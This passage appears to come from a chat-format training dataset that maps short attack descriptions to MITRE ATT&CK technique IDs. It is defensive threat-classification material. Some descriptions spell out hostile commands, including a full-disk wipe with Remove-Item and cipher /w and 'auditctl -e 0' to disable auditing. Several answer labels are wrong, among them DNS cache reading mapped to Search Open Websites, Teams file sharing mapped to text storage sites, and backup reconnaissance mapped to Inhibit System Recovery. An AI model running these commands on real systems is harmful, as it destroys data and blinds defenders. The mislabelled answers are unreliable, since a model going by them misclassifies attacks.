                "role": "user",
                "content": "An adversary gained remote code execution on a backend server and swapped out the company’s internal dashboard with a defaced version."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker spawns a lightweight virtual instance to execute payloads, ensuring no files are written to disk on the host."
            },
            {
                "role": "assistant",
                "content": "T1564.006 - Hide Artifacts: Run Virtual Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script extracts the Kerberos ticket from a live SMB session and uses it to impersonate the user on another system."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script uses Get-WmiObject Win32_ComputerSystem to retrieve the computer name, domain, and hardware details of the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1592 - Gather Victim Host Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion technique involves registering a malicious COM object as the COR_PROFILER, enabling code execution when .NET applications initialize."
            },
            {
                "role": "assistant",
                "content": "T1574.012 - Hijack Execution Flow: COR_PROFILER"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the final stage of the attack, a PowerShell script invokes the 'Remove-Item -Path C:\\* -Recurse -Force' command after running 'cipher /w:C:' to ensure data cannot be recovered."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host runs a service that captures and duplicates outbound network traffic, sending the duplicates to an external C2 server."
            },
            {
                "role": "assistant",
                "content": "T1020.001 - Automated Exfiltration: Traffic Duplication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group rewrites their ransomware executable, removing any compiled resources that could identify the family."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors embed encoded commands within HTTP requests to a third‑party web service for covert control."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising the network, the attacker exfiltrated data by syncing a hidden folder to a Google Drive account using the Google Drive sync client."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using threat intelligence feeds to gather information about potential threats and vulnerabilities."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using automated crawlers, the threat group collects email addresses from the target's public forums and comment sections."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Gather Victim Identity Information: Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A module extracts DNS cache entries to infer recently accessed domains."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After the initial beacon fails, the implant falls back to using Twitter direct messages for command and control."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set leverages MAPI over HTTP to pull emails from the victim's Exchange server."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exfiltrate data by embedding it within ICMP echo request packets to avoid detection by traditional firewalls."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign installs a credential‑validation hook that forwards passwords to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor accesses the backup configuration archive of a router to obtain credentials and policy settings."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script parses the Windows Registry hive for the 'System' log to locate system boot times."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerates and reads configuration files of installed services to find default passwords."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ad fraud operators infiltrate ad exchanges, inserting malicious scripts that deliver ransomware payloads to visitors."
            },
            {
                "role": "assistant",
                "content": "T1583.008 - Acquire Infrastructure: Malvertising"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker encodes stolen files into the subdomain of DNS queries to stealthily exfiltrate data from the victim network."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs AS‑REP roasting by sending AS‑REQ messages for accounts with the 'Password never expires' flag disabled, collecting the encrypted AS‑REP responses for later dictionary attacks."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through the compromised FTP server, the threat actor uploaded a custom exfiltration tool to the target environment."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use domain shadowing techniques to redirect traffic from a legitimate domain to a malicious server."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan activates the OS X 'screencapture' command to save a PNG of the active display."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conducting reconnaissance on a system's backup and recovery processes to identify potential weaknesses."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor exploits a third‑party cloud application's remote access functionality to execute code on target machines."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload updates the configuration of a host‑based intrusion detection system to turn off alarm generation for suspicious file changes."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a compromised Slack webhook to send base64‑encoded chunks of confidential data as messages in a private channel, effectively exfiltrating information over Slack."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators use the Censys search engine to find internet-facing devices with vulnerable firmware."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ the Exfiltration Over Unencrypted/Obfuscated Non‑C2 Channel technique by emailing ZIP attachments to external accounts."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a phishing campaign, the attacker intercepts the HTTPS handshake and forces the client to negotiate TLS 1.0 instead of TLS 1.2."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware allocates memory in a remote process's extra window space and writes malicious code before creating a new thread to execute it."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After phishing a user, the malicious script captures the session cookie from the browser and uses it to access protected resources."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group compromised a service account and altered the default domain policy to disable event logging, obscuring their activity."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker repeatedly attempts to log into a remote SSH server using a list of common passwords."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group leverages a misconfigured S3 bucket to host a malicious website used for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT group deployed a scheduled task that runs 'gpupdate /force' after editing the domain's security policy to allow LM hashes."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group uses a compromised Microsoft Teams channel to upload and share stolen files with their command."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor's backdoor uses a stub that constructs function names character by character and resolves them with GetProcAddress before executing them."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A group of attackers conducts a denial-of-service attack against a critical online service, overwhelming it with traffic from compromised devices in order to extort money or disrupt operations."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group uses the Windows utility verclsid to proxy the execution of a dropped PowerShell script, bypassing application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor accessed a compromised OpenStack token and provisioned a new VM to run crypto mining software."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Incident response logs show a new cron schedule that launches a Python script to enumerate system files and send a compressed archive to an external IP."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation module runs 'dir \\\\target\\c$' to check for accessible administrative shares on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT groups add an Active Setup entry that references a batch file, causing it to run automatically for every new user profile."
            },
            {
                "role": "assistant",
                "content": "T1547.014 - Boot or Logon Autostart Execution: Active Setup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious program modifies the Trust Provider registry entries to force the system to trust attacker‑controlled certificates."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware collects information about nearby Wi‑Fi hotspots by executing a system call that returns network names and MAC addresses."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi‑Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a Windows Scheduled Task that runs a PowerShell script every hour to download additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor sends a malicious video file with a .mp4 extension that actually contains an executable payload, which runs when the user plays the video on a vulnerable player."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker floods a target web server with HTTP GET requests, exhausting bandwidth and server resources."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent backdoor is achieved by editing the com.apple.security.agent.plist to load a malicious script as a launch daemon."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By passing a malicious assembly to InstallUtil via the /U (uninstall) switch, attackers achieve silent execution of their code."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leveraged a compromised Microsoft Teams chat to share a malicious video file that exploits a known vulnerability when opened."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group modifies the domain's Group Policy to deploy a bogus software update that installs a Trojan on all client PCs."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential-stealing script includes functionality to retrieve a remote keylogger binary via SMB share, uploading the tool to the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Utilize social engineering tactics to trick users into divulging sensitive credentials"
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a vulnerable content management system to host a malicious script that drops a backdoor onto the machines of site visitors."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant shuts down the backup daemon, deletes backup archives, and disables the recovery console to inhibit restoration."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script runs 'auditctl -e 0' to turn off the auditing system on the target machine."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a publicly available wordlist, the actor performs active scanning to locate obscure endpoints on the application."
            },
            {
                "role": "assistant",
                "content": "T1595.003 - Active Scanning: Wordlist Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware clears the Windows Registry key that stores installed programs to remove evidence of its presence."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is run inside a dynamically created virtual instance to avoid leaving artifacts on the compromised system."
            },
            {
                "role": "assistant",
                "content": "T1564.006 - Hide Artifacts: Run Virtual Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a rootkit to hook the audit subsystem and silently drop all audit records."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker drops a binary named \"setup.exe\" in the Windows\\Temp directory and uses the \"ShellExecuteEx\" API with the \"runas\" verb to trigger auto-elevation, avoiding the UAC prompt."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit a firmware bug to render the hardware random number generator inoperable, compromising cryptographic strength."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers target the installer directory, setting insecure permissions on installer files so they can replace them with malicious versions that execute with system rights."
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Hijack Execution Flow: Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker distributes a malicious QR code via a printed flyer in a public area, which when scanned directs users to a fake Wi‑Fi login portal that captures their network credentials."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code is hidden inside a packed executable that uses runtime decryption to reveal the original instructions."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber‑criminals buy a previously registered domain that matches the target company's brand."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses traceroute and ICMP echo requests to reveal the routing path and topology of the target's corporate network."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware on the compromised host clears the user's Exchange mail folder, removing all recent emails and attachments."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker delivered a malicious update that overwrote the Linux bootloader image, effectively patching the system image with backdoored code."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the native API ZwOpenProcess, the actor obtains a handle to another process and then executes code."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators embed base64-encoded instructions within web service responses, allowing them to issue commands without raising suspicion."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
